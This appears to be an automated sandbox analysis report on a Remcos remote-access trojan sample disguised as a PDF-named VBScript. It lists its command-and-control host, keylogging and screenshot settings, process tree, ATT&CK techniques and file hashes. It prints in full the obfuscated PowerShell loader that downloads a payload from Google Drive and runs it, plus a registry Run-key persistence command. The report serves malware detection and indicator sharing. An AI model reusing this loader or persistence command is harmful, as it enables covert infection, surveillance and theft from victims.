remcos | 1fc6fbf92722053225d14b53d960a903f9ff7b1cf4bb2f626634af38f31d333c

General

Target

證據_89004161-000002102-66_20241128·pdf.vbs
Size

33KB
MD5

b87c82bba48c44f8fc387ecd6100ff0e
SHA1

2cdcb7b8b4f5a8b0501a121b6b4264aa7c6b2f57
SHA256

20100ee5a74b50849ea1a00363a6751320c9aab43ba31859f79147af1b56b509
SHA512

442d105706dcc997c39a141d7a944bbb961e8948d15caee81814f1a6d6245e46b00bf98e893c1623bd92b12b1ac440432fd26f4fd9166c5ffea8ac9a575af189
SSDEEP

768:5KSasMUqkx36r142byXNoPNhZqpCtHki2ynMVVX09rkFJC:ISas/RF6hWyPN/MbZ09oFM

Score

10^/10

remcos remotehost discovery persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

8766e34g8.duckdns.org:3782

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-93TSMD
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 8 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

flow	pid	Process
3	1676	WScript.exe
7	2556	powershell.exe
9	2556	powershell.exe
11	2360	msiexec.exe
13	2360	msiexec.exe
15	2360	msiexec.exe
17	2360	msiexec.exe
18	2360	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Emboldened% -windowstyle 1 $Melolonthinae=(gp -Path 'HKCU:\\Software\\lestiwarite\\').Generalljtnanten;%Emboldened% ($Melolonthinae)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

Processes:

flow	ioc
6	drive.google.com
7	drive.google.com
11	drive.google.com

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid	Process
2360	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
2708	powershell.exe
2360	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

msiexec.execmd.exereg.exepowershell.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
320	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
2556	powershell.exe
2708	powershell.exe
2708	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid	Process
2708	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

WScript.exepowershell.exemsiexec.execmd.exe

description	pid	Process	procid_target
PID 1676 wrote to memory of 2556	1676	WScript.exe	30
PID 1676 wrote to memory of 2556	1676	WScript.exe	30
PID 1676 wrote to memory of 2556	1676	WScript.exe	30
PID 2708 wrote to memory of 2360	2708	powershell.exe	36
PID 2708 wrote to memory of 2360	2708	powershell.exe	36
PID 2708 wrote to memory of 2360	2708	powershell.exe	36
PID 2708 wrote to memory of 2360	2708	powershell.exe	36
PID 2708 wrote to memory of 2360	2708	powershell.exe	36
PID 2708 wrote to memory of 2360	2708	powershell.exe	36
PID 2708 wrote to memory of 2360	2708	powershell.exe	36
PID 2708 wrote to memory of 2360	2708	powershell.exe	36
PID 2360 wrote to memory of 1744	2360	msiexec.exe	37
PID 2360 wrote to memory of 1744	2360	msiexec.exe	37
PID 2360 wrote to memory of 1744	2360	msiexec.exe	37
PID 2360 wrote to memory of 1744	2360	msiexec.exe	37
PID 1744 wrote to memory of 320	1744	cmd.exe	39
PID 1744 wrote to memory of 320	1744	cmd.exe	39
PID 1744 wrote to memory of 320	1744	cmd.exe	39
PID 1744 wrote to memory of 320	1744	cmd.exe	39

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\證據_89004161-000002102-66_20241128·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Sidebemrkninger='Limation';;$Antileptic='Brnebogspris';;$trapperummet='Slighty';;$Clarioning='Nonlucidity';;$Godmothership='Sndagsbarns';;$Designformatet=$host.Name;function Bibiann($Macruranmpester){If ($Designformatet) {$Nailsmith=4} for ($Macruran=$Nailsmith;;$Macruran+=5){if(!$Macruranmpester[$Macruran]) { break }$Tilsynsassistenter+=$Macruranmpester[$Macruran]}$Tilsynsassistenter}function Remanufactures139($Stradine){ .($Rechecking) ($Stradine)}$Jeremiah=Bibiann 'Pir NLoneeA.sktCili. Hosw CateArchBUklaCOrd LLienILuggeForkNRemaT';$Stiligeres=Bibiann 'UdlaMHetaoCdroza laiTilblUngllStruaP tt/';$Overfertilizes=Bibiann 'EthoT C,tlFordsInfe1Svin2';$Widens=' Awa[Ge,bnUnisEChirTWyn,.NoncsBl ue Bitr MenVarchiRestcAfh eAntipTilsODampi TubnAho.tOrdsMDrbeAAclinSlgtA toeGI,anERegeR Dom] rkk:Core:S rosGabeeMedicNon,UPo,dR orsiHimmT,araYTaenPStorRBjero,urit retOSaf cM tooBje LYoke=Seve$Pud ODe,iVIdioeAks,rSolsfYowlEKuriRBrneTSndriFriaL Udsi ArgZBrute ovS';$Stiligeres+=Bibiann ' Dis5Snup.Kast0Mono Exec(Sin.WKueti.lidnRessdS ejo RenwUnadsVaer S alN orkT Sun Bunk1.fbe0Mies.Trop0hyd ; ni OrgaWUnmoiResinTung6 Sku4Ve n;A,ai TrakxTi s6Ov r4 K a;Hydr KliprOprevHas :Dur 1Tone3.tne1toss.Sank0 hio)Svre .lecGCe teEddicsnekkBi loGeog/ B t2Uns.0Omve1Ca a0Pate0Misa1Tilm0Ndla1Skrk PreFMut iRagfrUnsoe esyfUni.o UdgxT om/Ste 1Folk3Tilm1Fibe.prin0';$Collossians=Bibiann 'Ti suInsusbramE K,oRDeta-Syn ADrivG resE,tumNOpl,t';$Tvrfagenes=Bibiann 'K lahCaratEnt,tP tepStalsFi k:Chok/Capn/ NirdD idrUnkiiT devTr eeBa z.Smedg ImmoElekoTentgC nflKonce Int.Toluc WunoSheemForh/TathuJollcBrne?StraeT ksxKamap Sc.o d,ir SkytC,oa=GladdLa,toKro wBrannUnaplKol ok ndaIndld Ka &MckiiSad dOp i=Raad1TrskkDrafWdesiHAdenCContK TotcSe,vwAfhnXDoubhA ylONon k asi2gu.mu PaaQUngawSka fShet6M skN GulzMel.P SuuKsubc0Lsse5Baci5AletuSwasU kalO.ilghS am4MaltMRettaSoci5';$Majesttsfornrmelser=Bibiann ' rnr>';$Rechecking=Bibiann 'Fle,iLehreHuemX';$Velin127='Kheda';$Orismology='\Epitympanum.Ply';Remanufactures139 (Bibiann ' St $ScumgAr eLsprooWassbEmb ABlomLOpk.: Od sGr vVSterRSwariJungnGulddStjrU EtnSBro.TVarirTraniMackEDet r Ults ,nd=,ade$Unmae So N finvPris: ndaUdtrp EftpAnn d veadignTStigASt t+Renm$StatO,askrA,orI.repS roM yrtoEl,xLpartoBoblGaftey');Remanufactures139 (Bibiann 'A,tr$ StaG CurLFurmOUpaaBF,ora Gi.l omo: edWGuesaunwiMV.lgeForefEnfiuTyreLOutwSCeph2What4Oxid2 obi=Kuns$ asTCou V Fl.R Eksf Reva.vidg vanEOptrnPlage antSFlj,.ExamSHumppTweeL VeriTry tLyre(Deve$IntiM ManaSexpj InteAr eS tatbl nTMasssLibbF Earoefe,rKeraN nrarAdelMcrouEV llLoversLab,eSexbRVint)');Remanufactures139 (Bibiann $Widens);$Tvrfagenes=$Wamefuls242[0];$hydrazoic=(Bibiann 'r gs$Vkstg SweLsej o eprBPsy,ASpgsLLitr:.sotGPr,nACsarVPaliEUncokCissaHavfLShareSt tnM lidBilleCompRMy l=Dis.NInteeIngewhort- AttoPhylbRmebJF,rtEGe.iC T iTIn,b Mi.SCotaYSoutsAgrit MareI,admP.la.Yder$Nordj SteE BlirsammeSa am kspIUnmoaUdsmH');Remanufactures139 ($hydrazoic);Remanufactures139 (Bibiann 'Oppa$ unGPostaSkr vUnr eG,ulk ounaNo plHo eeOpb nPosedOrdreKelvr ene.JagtH HeteFlaraArr dskrieRevirStams D a[Udra$ AnoC rkeo MeklObscl lio D asobs sShetiFr,gaChrynVa isSh,r]N ig=Etru$Spe SN.dst DebiVrvll stri ollg StoeAarsr Gade pas');$Spadestikkets246=Bibiann ' J b$ EukGKemoaAfs vBad eSolskEn,la VallE ste Wh nRet dsandeViderMan..SmndDSkedoFlemwScrinAlpelSk ioProna rafdCrimFAgaiiParalAngaefl e(Tr p$ShasT ejv A trS,ttfclera ichgR ndeO,ernSun.eTegls Est,Samm$SelvI Forn SofdBe peP,eukSectsSki eRavnrDokki A fnmorgg.ppreForpnTr fsFusk)';$Indekseringens=$Svrindustriers;Remanufactures139 (Bibiann 'Biog$FredGGushLUnreORealBIldsaBu mL ,as:Attok roOEerim BrupEmo,LA,uaeReg.M IncEMongn A fTinteVChefIafstNGrevkKapiL racEKd rrU,icNVealeAllis,pro= mm(SrloTIndkeUbetSP ovTPle.-ef mp,ireaVaadtHintHerup Kata$ UndiUticn U,sDEpiteAu,oK mimSHyldECavarSta,iFl.mNStraG Ta,EDrimnR.geSYeao)');while (!$Komplementvinklernes) {Remanufactures139 (Bibiann 'Sisk$ B rgRstelHansoSurrbSlgtaSau.l sca: OffPTreka M,lrDispaUdr p EkstBadeeLydbr Idea Le lPian=Port$ DisHAtt a.emel.tdteHerbtPre u IntdHe.msE ple') ;Remanufactures139 $Spadestikkets246;Remanufactures139 (Bibiann 'PyresF tiTJordaSpisrPremtFi b-WolfST ndlP,tbe SememadkP Sva hypa4');Remanufactures139 (Bibiann 'Anti$ losgIrreLNulloDe iBD.elASa dLPung: AllK D.toSavnMHo ePMauvLSljdEupo,mBackEw.etn MrkTAminvradiiVestnOldskStorLBaljeIndlrPrecnUna,ER krsMaen= Udf(TnkeT indE StvSPromt inn-TagspTogvaKarttKlinhRegr ,rre$S riIAkkvN FladEphoeSos kSt lS KonEOm,lrMoorIbrutNProdgjorde HumNAct sSlag)') ;Remanufactures139 (Bibiann 'Wret$CarggCleaLSiruoKwapBAmorA Fjal,ksp: PlyiCultNAl oFReshLToppeUpo CBrakTDhanE eldd For=M,rr$BehoGMenul,rnrO humbMasoaMas,lA te:S,lfwCensoT,rio Mo,dH.apG An,O M kLNonfED ctmB ni+Kvrk+Ho e%m ll$Vik.WUnarAFar.M.dble.rodFIm ru k.nLaposSStri2Desi4 Kva2Preb. A,vcStano RinUPr cnSme t') ;$Tvrfagenes=$Wamefuls242[$Inflected]}$Ryddeliges=280530;$Brickwork=30269;Remanufactures139 (Bibiann 'Herr$Sm lgRelalForuo U obBiblAArrolIhuk:Garno KompKollr KriR,eucSAffiS DortHemaI nsFMispTKrake ChuRDice8Insp0ss n Phar= Ama IndsgKakkeTyreThigh- Po cExamO ,itnDa,kTBulbeSaxoN.creT Uds Si j$SlutIEighNceraDMu leI stk TansSammEBredrPas ILigbn ropgSlouEKaleNS ips');Remanufactures139 (Bibiann ' I a$Sangg Dejl rvlonor bSolhaForslRec : N dDHa myBiblsGroufRehaaUndesHam iLeersTheo .ent= Dat hv s[OmdbSSludy armsNedstmbeleAbenmSpid. OpsCSkipoNdstn Po,vprobePrgnrFunkt Fer] arv:u.or:UnliF ,ibr BonoPyt,mI lgB ervaunresTilfeSme,6Doce4BulnS istUdmar S mi DernHerigLogf(H.rk$Eu.oO D spXylorKommrH emsForvs,hontVensiSalgf subt Tawe Halr Rew8U,op0rets)');Remanufactures139 (Bibiann ' Inq$Vineg MaslSideONonrBMyreaHel L Khi:haanp ederUndiOYndlpParaO ourrForstNonfiCircoMicrNMu saJuniB Be iKatoLForvIErrot SarYOutl2Forg4Fr g5Inte dfr=Cygn Bi f[SlavsSu jYSkgvSFremtLoboESeelm,fre.HypeTD saeCompxMeruT la.RoutEVirvnpr icFjlmOGeosDreaki supnomnigK rt]Unev:Ljtn:U puAHumoSTra,CSweeiPersIDac .Sch.G ConE P,nTMultsSnapTRigarIn,eI hrNUppeGGuln( Kon$TreddHingYOrbiSPjadF MaiAafflSLetfIAndosKvad)');Remanufactures139 (Bibiann 'Ochr$ Svrg TrvLM ckOAccebHemoaExcoLLith:TackgNeptr BioUU.hntSkvmnDybdIHoffNGynegAntieGrafNF.risSkep=Or a$ SeePTrenRRu.kODesuPun aOTootr,ocit M tiVarmO HalN.limaSuccbFac IrefeLMasciGo pTK aly ,et2Inte4bibl5Midt.,ntisTheruDiabB Pe sA ettMeshrC nhi Menn BurG Fes(De a$ ankRAngiYAaredTranD,rigEGlocL othiSatsgflooE Pres Det,Hemi$ ChaBUnveRSulciRoknc R sKSvanWDrisoGal R epKSem.)');Remanufactures139 $Grutningens;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2556

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Sidebemrkninger='Limation';;$Antileptic='Brnebogspris';;$trapperummet='Slighty';;$Clarioning='Nonlucidity';;$Godmothership='Sndagsbarns';;$Designformatet=$host.Name;function Bibiann($Macruranmpester){If ($Designformatet) {$Nailsmith=4} for ($Macruran=$Nailsmith;;$Macruran+=5){if(!$Macruranmpester[$Macruran]) { break }$Tilsynsassistenter+=$Macruranmpester[$Macruran]}$Tilsynsassistenter}function Remanufactures139($Stradine){ .($Rechecking) ($Stradine)}$Jeremiah=Bibiann 'Pir NLoneeA.sktCili. Hosw CateArchBUklaCOrd LLienILuggeForkNRemaT';$Stiligeres=Bibiann 'UdlaMHetaoCdroza laiTilblUngllStruaP tt/';$Overfertilizes=Bibiann 'EthoT C,tlFordsInfe1Svin2';$Widens=' Awa[Ge,bnUnisEChirTWyn,.NoncsBl ue Bitr MenVarchiRestcAfh eAntipTilsODampi TubnAho.tOrdsMDrbeAAclinSlgtA toeGI,anERegeR Dom] rkk:Core:S rosGabeeMedicNon,UPo,dR orsiHimmT,araYTaenPStorRBjero,urit retOSaf cM tooBje LYoke=Seve$Pud ODe,iVIdioeAks,rSolsfYowlEKuriRBrneTSndriFriaL Udsi ArgZBrute ovS';$Stiligeres+=Bibiann ' Dis5Snup.Kast0Mono Exec(Sin.WKueti.lidnRessdS ejo RenwUnadsVaer S alN orkT Sun Bunk1.fbe0Mies.Trop0hyd ; ni OrgaWUnmoiResinTung6 Sku4Ve n;A,ai TrakxTi s6Ov r4 K a;Hydr KliprOprevHas :Dur 1Tone3.tne1toss.Sank0 hio)Svre .lecGCe teEddicsnekkBi loGeog/ B t2Uns.0Omve1Ca a0Pate0Misa1Tilm0Ndla1Skrk PreFMut iRagfrUnsoe esyfUni.o UdgxT om/Ste 1Folk3Tilm1Fibe.prin0';$Collossians=Bibiann 'Ti suInsusbramE K,oRDeta-Syn ADrivG resE,tumNOpl,t';$Tvrfagenes=Bibiann 'K lahCaratEnt,tP tepStalsFi k:Chok/Capn/ NirdD idrUnkiiT devTr eeBa z.Smedg ImmoElekoTentgC nflKonce Int.Toluc WunoSheemForh/TathuJollcBrne?StraeT ksxKamap Sc.o d,ir SkytC,oa=GladdLa,toKro wBrannUnaplKol ok ndaIndld Ka &MckiiSad dOp i=Raad1TrskkDrafWdesiHAdenCContK TotcSe,vwAfhnXDoubhA ylONon k asi2gu.mu PaaQUngawSka fShet6M skN GulzMel.P SuuKsubc0Lsse5Baci5AletuSwasU kalO.ilghS am4MaltMRettaSoci5';$Majesttsfornrmelser=Bibiann ' rnr>';$Rechecking=Bibiann 'Fle,iLehreHuemX';$Velin127='Kheda';$Orismology='\Epitympanum.Ply';Remanufactures139 (Bibiann ' St $ScumgAr eLsprooWassbEmb ABlomLOpk.: Od sGr vVSterRSwariJungnGulddStjrU EtnSBro.TVarirTraniMackEDet r Ults ,nd=,ade$Unmae So N finvPris: ndaUdtrp EftpAnn d veadignTStigASt t+Renm$StatO,askrA,orI.repS roM yrtoEl,xLpartoBoblGaftey');Remanufactures139 (Bibiann 'A,tr$ StaG CurLFurmOUpaaBF,ora Gi.l omo: edWGuesaunwiMV.lgeForefEnfiuTyreLOutwSCeph2What4Oxid2 obi=Kuns$ asTCou V Fl.R Eksf Reva.vidg vanEOptrnPlage antSFlj,.ExamSHumppTweeL VeriTry tLyre(Deve$IntiM ManaSexpj InteAr eS tatbl nTMasssLibbF Earoefe,rKeraN nrarAdelMcrouEV llLoversLab,eSexbRVint)');Remanufactures139 (Bibiann $Widens);$Tvrfagenes=$Wamefuls242[0];$hydrazoic=(Bibiann 'r gs$Vkstg SweLsej o eprBPsy,ASpgsLLitr:.sotGPr,nACsarVPaliEUncokCissaHavfLShareSt tnM lidBilleCompRMy l=Dis.NInteeIngewhort- AttoPhylbRmebJF,rtEGe.iC T iTIn,b Mi.SCotaYSoutsAgrit MareI,admP.la.Yder$Nordj SteE BlirsammeSa am kspIUnmoaUdsmH');Remanufactures139 ($hydrazoic);Remanufactures139 (Bibiann 'Oppa$ unGPostaSkr vUnr eG,ulk ounaNo plHo eeOpb nPosedOrdreKelvr ene.JagtH HeteFlaraArr dskrieRevirStams D a[Udra$ AnoC rkeo MeklObscl lio D asobs sShetiFr,gaChrynVa isSh,r]N ig=Etru$Spe SN.dst DebiVrvll stri ollg StoeAarsr Gade pas');$Spadestikkets246=Bibiann ' J b$ EukGKemoaAfs vBad eSolskEn,la VallE ste Wh nRet dsandeViderMan..SmndDSkedoFlemwScrinAlpelSk ioProna rafdCrimFAgaiiParalAngaefl e(Tr p$ShasT ejv A trS,ttfclera ichgR ndeO,ernSun.eTegls Est,Samm$SelvI Forn SofdBe peP,eukSectsSki eRavnrDokki A fnmorgg.ppreForpnTr fsFusk)';$Indekseringens=$Svrindustriers;Remanufactures139 (Bibiann 'Biog$FredGGushLUnreORealBIldsaBu mL ,as:Attok roOEerim BrupEmo,LA,uaeReg.M IncEMongn A fTinteVChefIafstNGrevkKapiL racEKd rrU,icNVealeAllis,pro= mm(SrloTIndkeUbetSP ovTPle.-ef mp,ireaVaadtHintHerup Kata$ UndiUticn U,sDEpiteAu,oK mimSHyldECavarSta,iFl.mNStraG Ta,EDrimnR.geSYeao)');while (!$Komplementvinklernes) {Remanufactures139 (Bibiann 'Sisk$ B rgRstelHansoSurrbSlgtaSau.l sca: OffPTreka M,lrDispaUdr p EkstBadeeLydbr Idea Le lPian=Port$ DisHAtt a.emel.tdteHerbtPre u IntdHe.msE ple') ;Remanufactures139 $Spadestikkets246;Remanufactures139 (Bibiann 'PyresF tiTJordaSpisrPremtFi b-WolfST ndlP,tbe SememadkP Sva hypa4');Remanufactures139 (Bibiann 'Anti$ losgIrreLNulloDe iBD.elASa dLPung: AllK D.toSavnMHo ePMauvLSljdEupo,mBackEw.etn MrkTAminvradiiVestnOldskStorLBaljeIndlrPrecnUna,ER krsMaen= Udf(TnkeT indE StvSPromt inn-TagspTogvaKarttKlinhRegr ,rre$S riIAkkvN FladEphoeSos kSt lS KonEOm,lrMoorIbrutNProdgjorde HumNAct sSlag)') ;Remanufactures139 (Bibiann 'Wret$CarggCleaLSiruoKwapBAmorA Fjal,ksp: PlyiCultNAl oFReshLToppeUpo CBrakTDhanE eldd For=M,rr$BehoGMenul,rnrO humbMasoaMas,lA te:S,lfwCensoT,rio Mo,dH.apG An,O M kLNonfED ctmB ni+Kvrk+Ho e%m ll$Vik.WUnarAFar.M.dble.rodFIm ru k.nLaposSStri2Desi4 Kva2Preb. A,vcStano RinUPr cnSme t') ;$Tvrfagenes=$Wamefuls242[$Inflected]}$Ryddeliges=280530;$Brickwork=30269;Remanufactures139 (Bibiann 'Herr$Sm lgRelalForuo U obBiblAArrolIhuk:Garno KompKollr KriR,eucSAffiS DortHemaI nsFMispTKrake ChuRDice8Insp0ss n Phar= Ama IndsgKakkeTyreThigh- Po cExamO ,itnDa,kTBulbeSaxoN.creT Uds Si j$SlutIEighNceraDMu leI stk TansSammEBredrPas ILigbn ropgSlouEKaleNS ips');Remanufactures139 (Bibiann ' I a$Sangg Dejl rvlonor bSolhaForslRec : N dDHa myBiblsGroufRehaaUndesHam iLeersTheo .ent= Dat hv s[OmdbSSludy armsNedstmbeleAbenmSpid. OpsCSkipoNdstn Po,vprobePrgnrFunkt Fer] arv:u.or:UnliF ,ibr BonoPyt,mI lgB ervaunresTilfeSme,6Doce4BulnS istUdmar S mi DernHerigLogf(H.rk$Eu.oO D spXylorKommrH emsForvs,hontVensiSalgf subt Tawe Halr Rew8U,op0rets)');Remanufactures139 (Bibiann ' Inq$Vineg MaslSideONonrBMyreaHel L Khi:haanp ederUndiOYndlpParaO ourrForstNonfiCircoMicrNMu saJuniB Be iKatoLForvIErrot SarYOutl2Forg4Fr g5Inte dfr=Cygn Bi f[SlavsSu jYSkgvSFremtLoboESeelm,fre.HypeTD saeCompxMeruT la.RoutEVirvnpr icFjlmOGeosDreaki supnomnigK rt]Unev:Ljtn:U puAHumoSTra,CSweeiPersIDac .Sch.G ConE P,nTMultsSnapTRigarIn,eI hrNUppeGGuln( Kon$TreddHingYOrbiSPjadF MaiAafflSLetfIAndosKvad)');Remanufactures139 (Bibiann 'Ochr$ Svrg TrvLM ckOAccebHemoaExcoLLith:TackgNeptr BioUU.hntSkvmnDybdIHoffNGynegAntieGrafNF.risSkep=Or a$ SeePTrenRRu.kODesuPun aOTootr,ocit M tiVarmO HalN.limaSuccbFac IrefeLMasciGo pTK aly ,et2Inte4bibl5Midt.,ntisTheruDiabB Pe sA ettMeshrC nhi Menn BurG Fes(De a$ ankRAngiYAaredTranD,rigEGlocL othiSatsgflooE Pres Det,Hemi$ ChaBUnveRSulciRoknc R sKSvanWDrisoGal R epKSem.)');Remanufactures139 $Grutningens;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2708
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Emboldened% -windowstyle 1 $Melolonthinae=(gp -Path 'HKCU:\Software\lestiwarite\').Generalljtnanten;%Emboldened% ($Melolonthinae)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1744
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Emboldened% -windowstyle 1 $Melolonthinae=(gp -Path 'HKCU:\Software\lestiwarite\').Generalljtnanten;%Emboldened% ($Melolonthinae)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Network Share Discovery

1

T1135

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
a20ba27c009ab1993dcb85a22f7cecb0

SHA1
6d95109921764b5552afde6ccad50357f38d4aa9

SHA256
fe7c132d881b372c0af35d914867217bfb9462eff5dd1b5ab09de3b85fcbf102

SHA512
4fcb2e2b3a5c14866211131d43225f4dfa0fd0ed45e345faf6763c3f321dd299eaebf1fb3702589a8686e95f7fdaff25e6dd8c97477f6bbb9e31135c342cfc5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab9DF6.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar4589.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

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C:\Users\Admin\AppData\Roaming\Epitympanum.Ply

Filesize
404KB

MD5
02520ab781931d06c03af0071b4cbe02

SHA1
1a35dae7b75807fb4cb35e06ee57cba219710491

SHA256
dd89e82b3e8fd742b6c039805c442693d61d25dfcd3804bc0d2ad19ff0d0e0e8

SHA512
27f47814f3061d9c86e1cd6654d8b9e3f1ccbf38ce1379f88a946ff4e0e4a16c32300f7541b6098bc03a14752cfe780b4b5efde8ec740522d113dffd838dae9e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0FSFZIVOC5JB6S23E5WB.temp

Filesize
7KB

MD5
617cfa448b67491076d9a58163240984

SHA1
d1aedd861ae9fd62dc81cc380f7a8d41a8716334

SHA256
a39d42fbcd06aec77307d6f5e0da0945b85e9988d3265167d893a3359dffb856

SHA512
0743a28779a92bf2e271b523484bdcdba155d580f3f80fd642cea1e8552dc31a06a0799d90328320d1659a7ed443d878d87ec001103b84689fd0153803e5d86b

Download Submit
memory/2360-60-0x0000000000B50000-0x0000000001BB2000-memory.dmp

Filesize
16.4MB

Download
memory/2360-37-0x0000000000B50000-0x0000000001BB2000-memory.dmp

Filesize
16.4MB

Download
memory/2556-23-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-27-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-29-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-30-0x000007FEF664E000-0x000007FEF664F000-memory.dmp

Filesize
4KB

Download
memory/2556-32-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-26-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-25-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-24-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-22-0x0000000002990000-0x0000000002998000-memory.dmp

Filesize
32KB

Download
memory/2556-21-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download
memory/2556-20-0x000007FEF664E000-0x000007FEF664F000-memory.dmp

Filesize
4KB

Download
memory/2708-36-0x0000000006730000-0x0000000009A73000-memory.dmp

Filesize
51.3MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads